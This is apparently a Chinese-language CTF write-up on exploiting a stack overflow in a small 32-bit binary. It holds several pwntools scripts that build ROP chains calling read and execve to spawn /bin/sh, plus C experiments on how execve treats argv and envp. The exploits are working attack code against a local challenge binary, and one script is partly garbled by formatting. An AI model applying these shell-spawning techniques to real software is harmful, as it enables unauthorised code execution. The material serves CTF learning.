摸鱼的时候看了看 先布置execve的参数 再写execve的gadget 再利用add esp 0x20这个gadget替换原本常用的pop 3 reg 只要注意到函数开头的托盘操作,一切都很容易说…
ret = 0x08048127 sys_write = 0x08048110 sys_read = 0x080480F0 aGoodLuck = 0x0804B000 addr = 0x0804B000 0x500 # binsh's addr r_w = 0x08048130 add_esp_20__ret = 0x08048190 start = 0x080481A0 execve = 0x08048115 def exp(i): pl = 0x10 * b'a' p32(sys_read) p32(start) pl = p32(0) p32(addr) p32(len("/bin/sh")) pl = p32(addr) p32(0) p32(0) # addr store "binsh"'s' addr gdb.attach(p) se(pl) ri() se(b"/bin/sh") pl = 0x10 * b'a' p32(start) pl = p32(0)*5 p32(execve) # gdb.attach(p) ri() se(pl) pl = 0x10*b'a' p32(sys_write) p32(add_esp_20__ret) pl = p32(
1
)
+ p32
(aGoodLuck
)
+ p32
(
11
) ri
(
) se
(pl
)
if __name__
==
"__main__"
: exp
(
1
) ir
(
)
官解
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(0) * 3 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
看了官方的wp才知道可以这么玩 一次性发出所有数据 反正也是在缓冲区 没必要发两次 最重要的是execve 平常都是要构造execve('/bin/sh',NULL,NULL)
但是这里是execve('/bin/sh',ptr,NULL); *ptr = NULL
实践证明 execve执行binsh并不一定要两个NULL
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
void *ptr = NULL;
ptr = "squ";
execve("/bin/sh", (char * const*)&ptr, 0);
}
但是如果argv中有两个非NULL参数的时候 就会出现问题
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
char * const* ptr = NULL;
char * p[] = {
"squ",
// "irrel", 去掉注释没法拿shell 而注释掉就能拿shell
NULL
};
ptr = p;
execve("/bin/sh", ptr, ptr);
}
看一个例子
#include <stdio.h>
#include <stdlib.h>
int
main(){
;
printf("Hello \n");
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
char * envp[] = {
"squ",
"irrel",
NULL
};
execve("/bin/ls", argv, NULL);
}
正常来讲argv的第一个参数应该是所执行的任务名字(约定俗成 这里特意换成毫无关系的命令 因为用不到
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
所以execve("/bin/sh",argv,envp)
在极限情况下 argv
指向的数组可以有一个成员 这个成员不被使用 毫无关系 但是不能超过两个 因为第二个就要被执行了 但是sh是不带参数的
但是这题很难找到一个二级指针 所以只需要argv和envp的指针都指向NULL即可 而并不需要都置NULL 这样解出这题就方便很多了 (之前有个大佬说execve的argv和envp都需要两个NULL让我深信不疑 果然实践出真知)
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
gGoodLuck = 0x0804B000
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(binsh + 7) + p32(0) * 2 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()